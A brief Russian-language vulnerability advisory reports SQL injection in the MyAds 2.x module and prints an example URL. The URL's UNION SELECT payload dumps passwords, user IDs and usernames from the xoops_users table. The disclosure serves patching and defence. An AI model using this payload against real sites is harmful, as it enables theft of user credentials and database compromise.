Программа: MyAds 2.x

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Пример:

http://www.site.com/modules/myAds/annonces-p-f.php?op=ImprAnn&lid= -1+union+select+1,pass,uid,uname,5,6,7,8,9,10,11,12, 13+from+xoops_users+limit+1,1/*



Оставить мнение